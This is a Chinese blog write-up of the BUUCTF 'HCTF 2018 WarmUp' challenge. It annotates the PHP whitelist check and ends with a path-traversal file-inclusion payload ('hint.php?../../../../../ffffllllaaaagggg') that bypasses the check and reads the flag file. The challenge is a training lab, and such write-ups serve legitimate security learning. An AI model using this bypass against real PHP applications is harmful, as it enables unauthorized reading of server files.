buuctf-[HCTF 2018]WarmUp1(小宇特详解)

buuctf-[HCTF 2018]WarmUp1

这里先看一下f12

在这里插入图片描述

这里提示source.php

访问一下

在这里插入图片描述

这里是这道题的源码

这里先分析一下几个关键函数

**//mb_strpos():**返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串

//mb_substr() 函数返回字符串的一部分。

//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

从代码中发现新的页面hint访问获得flag文件名
在这里插入图片描述

总的来说这个cehckFile这个函数进行了 3次白名单检测、 2次问好过滤、一次URL解码

class emmm
 2     {
 3         public static function checkFile(&$page)
 4 
 5         {
 6             //白名单列表
 7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
 8             //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
 9             if (! isset($page) || !is_string($page)) {
10                 echo "you can't see it A";
11                 return false;
12             }
13             //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
14             if (in_array($page, $whitelist)) {
15                 return true;
16             }
17             //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
18             $_page = mb_substr(
19                 $page,
20                 0,
21                 mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
22             );
23 
24              //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
25             if (in_array($_page, $whitelist)) {
26                 return true;
27             }
28             //url对$page解码
29             $_page = urldecode($page);
30 
31             //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
32             $_page = mb_substr(
33                 $_page,
34                 0,
35                 mb_strpos($_page . '?', '?')
36             );
37             //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
38             if (in_array($_page, $whitelist)) {
39                 return true;
40             }
41             echo "you can't see it";
42             return false;
43         }
44     }

现在构造获取flag的语句

hint.php?../…/…/…/…/ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag

tips:include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。

这里的ffffllllaaaagggg是在hint.php中发现的,显然flag在这个文件里。其实文件名提示了我们要使用四层目录,这里比较坑。

最终payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg 

在这里插入图片描述

评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小宇特详解

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值